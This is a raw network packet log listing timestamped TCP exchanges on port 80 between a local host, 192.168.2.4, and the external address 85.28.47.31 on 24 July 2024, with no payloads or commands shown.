Jul 24, 2024 02:39:06.596677065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596695900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596721888 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596729994 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596740961 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596776962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596780062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596815109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596824884 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596862078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596863985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596895933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596911907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596929073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596942902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596961975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.596975088 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.596995115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597008944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597028017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597040892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597059965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597071886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597095013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597110987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597126961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597140074 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597161055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597173929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597196102 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597213030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597229004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597240925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597263098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597275972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597313881 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597371101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597404957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597424030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597438097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597449064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597470999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597486019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597505093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597522020 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597543001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597551107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597575903 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597605944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597609043 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597625971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597645044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597657919 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597693920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597767115 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597800016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597832918 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.597832918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597856998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.597881079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598011971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598043919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598077059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598079920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598102093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598110914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598124027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598151922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598157883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598186016 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598198891 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598203897 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598220110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598225117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598236084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598252058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598257065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598268032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598277092 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598284006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598301888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598318100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598328114 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598346949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598388910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598840952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598864079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598880053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598886967 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598896980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598907948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598913908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598927975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598929882 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598948956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598958015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.598963976 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598980904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.598990917 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599014044 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599055052 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599381924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599405050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599421978 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599431992 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599437952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599452019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599452972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599468946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599473000 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599484921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599493980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599500895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599519968 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599530935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599534988 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599553108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599554062 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599570036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599585056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599590063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599600077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599616051 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599628925 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599632025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599647999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.599649906 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.599684954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600212097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600229025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600243092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600258112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600261927 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600272894 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600287914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600295067 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600302935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600321054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600334883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600334883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600353003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600361109 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600367069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600382090 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600394011 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600398064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600413084 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600423098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600434065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600441933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600450039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600465059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600486040 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600492001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600512981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.600517035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600537062 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.600580931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.601007938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.601026058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.601041079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.601057053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.601057053 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.601072073 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.601077080 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.603563070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.603563070 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690344095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690431118 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690469980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690526009 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690557957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690567017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690567017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690567017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690567017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690593004 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690625906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690643072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690643072 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690660954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690673113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690694094 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690727949 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690746069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690748930 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690779924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690795898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690815926 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690829039 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690849066 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690862894 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690882921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690896034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690932989 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690932989 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690967083 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.690982103 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.690999985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691024065 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691035986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691041946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691071987 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691091061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691103935 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691128016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691137075 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691148043 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691165924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691196918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691200018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691216946 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691234112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691245079 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691267967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691298008 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691303015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691317081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691348076 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691441059 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691473961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691495895 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691508055 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691520929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691565037 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691580057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691601038 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691617012 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691649914 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691824913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691859007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691874981 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691891909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691905975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691925049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.691937923 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691972017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.691982985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692015886 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692032099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692049980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692081928 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692089081 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692109108 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692116022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692131996 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692147970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692177057 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692183018 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692214966 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692225933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692248106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692280054 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692312956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692347050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692403078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692446947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692570925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692605019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692629099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692652941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692790031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692822933 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692838907 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692857027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692876101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692888975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692899942 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692923069 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692940950 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692955971 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.692966938 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.692989111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693015099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693022013 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693034887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693054914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693070889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693087101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693100929 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693120956 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693144083 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693152905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693161964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693239927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693263054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693273067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693284035 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693306923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693335056 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693341017 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693351030 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693375111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693389893 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693418980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693764925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693799019 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693815947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693831921 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693846941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693865061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693877935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693909883 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693916082 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693949938 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693965912 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.693983078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.693995953 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694017887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694029093 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694051027 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694067001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694083929 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694094896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694118023 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694132090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694150925 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694164038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694184065 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694200993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694217920 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694226027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694251060 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694263935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694283962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694298029 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694318056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694329023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694351912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694366932 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694396019 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:06.694735050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:06.694768906 CEST	80	49730	85.28.47.31	192.168.2.4
